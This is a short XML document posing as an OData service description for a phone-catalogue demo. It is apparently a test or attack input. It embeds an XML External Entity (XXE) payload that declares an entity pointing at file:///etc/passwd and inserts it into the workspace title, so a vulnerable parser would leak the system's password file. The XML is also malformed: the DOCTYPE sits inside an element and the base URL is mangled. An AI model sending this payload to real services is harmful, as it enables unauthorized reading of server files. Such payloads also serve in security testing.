<service xml:base="http://phone-odata-demo.herokuapp.comdevices.svc//">
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<workspace><atom:title>&xxe;</atom:title><collection href="phones"><atom:title>phones</atom:title></collection><collection href="phone_plans"><atom:title>phone_plans</atom:title></collection></workspace></service>